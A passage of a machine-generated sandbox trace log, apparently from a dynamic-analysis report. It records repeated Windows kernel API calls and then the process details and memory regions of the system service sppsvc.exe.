IoGetCurrentProcess () returned 0xffffe00001078440 [0307.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.505] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.692] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.411] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.412] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0309.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.474] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0309.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.130] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.130] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0311.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.318] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.443] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.505] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.692] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.755] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.899] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.899] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.958] IoGetCurrentProcess () returned 0xffffe00001078440 [0311.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.082] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.146] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.147] IoGetCurrentProcess () returned 0xffffe00001078440 [0312.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.177] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.177] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0313.239] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.240] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.301] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.301] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.364] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.427] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.427] IoGetCurrentProcess () returned 0xffffe00001078440 [0313.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0314.239] IoGetCurrentProcess () returned 0xffffe00001078440 [0314.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0314.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0314.239] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 Thread: id = 935 os_tid = 0xbb0 Thread: id = 936 os_tid = 0xbb4 Process: id = "86" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x5474000" os_pid = "0x880" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002b43e" [0xc000000f], "LOCAL" [0x7] Region: id = 10862 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10863 start_va = 0x93eb80000 end_va = 0x93eb9ffff entry_point = 0x0 region_type = private name = "private_0x000000093eb80000" filename = "" Region: id = 10864 start_va = 0x93eba0000 end_va = 0x93ebaefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093eba0000" filename = "" Region: id = 10865 start_va = 0x93ebb0000 end_va = 0x93ec2ffff entry_point = 0x0 region_type = private name = "private_0x000000093ebb0000" filename = "" Region: id = 10866 start_va = 0x7ff685890000 end_va = 0x7ff6858b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff685890000" filename = "" Region: id = 10867 start_va = 0x7ff6858b5000 end_va = 0x7ff6858b5fff entry_point = 0x0 region_type = private name = "private_0x00007ff6858b5000" filename = "" Region: id = 10868 start_va = 0x7ff6858be000 end_va = 0x7ff6858bffff entry_point = 0x0 region_type = private name = "private_0x00007ff6858be000" filename = "" Region: id = 10869 start_va = 0x7ff6862f0000 end_va = 0x7ff6868f5fff entry_point = 0x7ff6862f0000 region_type = mapped_file name = "sppsvc.exe" filename = "\\Windows\\System32\\sppsvc.exe" (normalized: "c:\\windows\\system32\\sppsvc.exe") Region: id = 10870 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10871 start_va = 0x93edd0000 end_va = 0x93eecffff entry_point = 0x0 region_type = private name = "private_0x000000093edd0000" filename = "" Region: id = 10872 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 10873 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 10874 start_va = 0x93eb80000 end_va = 0x93eb8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093eb80000" filename = "" Region: id = 10875 start_va = 0x7ff685790000 end_va = 0x7ff68588ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff685790000" filename = "" Region: id = 10876 start_va = 0x93ec30000 end_va = 0x93ecadfff entry_point = 0x93ec30000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10877 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10878 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 10879 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 10880 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 10881 start_va = 0x93eb90000 end_va = 0x93eb96fff entry_point = 0x0 region_type = private name = "private_0x000000093eb90000" filename = "" Region: id = 10882 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 10883 start_va = 0x7ffd11040000 end_va = 0x7ffd11060fff entry_point = 0x7ffd11040000 region_type = mapped_file name = "cryptxml.dll" filename = "\\Windows\\System32\\cryptxml.dll" (normalized: "c:\\windows\\system32\\cryptxml.dll") Region: id = 10884 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10885 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10886 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 10887 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 10888 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 10889 start_va = 0x7ffd11580000 end_va = 0x7ffd116e3fff entry_point = 0x7ffd11581010 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 10890 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 10891 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 10892 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 10893 start_va = 0x93eed0000 end_va = 0x93f09ffff entry_point = 0x0 region_type = private name = "private_0x000000093eed0000" filename = "" Region: id = 10894 start_va = 0x93ecb0000 end_va = 0x93ecb6fff entry_point = 0x0 region_type = private name = "private_0x000000093ecb0000" filename = "" Region: id = 10895 start_va = 0x93ecc0000 end_va = 0x93ed7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093ecc0000" filename = "" Region: id = 10896 start_va = 0x93eed0000 end_va = 0x93f057fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093eed0000" filename = "" Region: id = 10897 start_va = 0x93f090000 end_va = 0x93f09ffff entry_point = 0x0 region_type = private name = 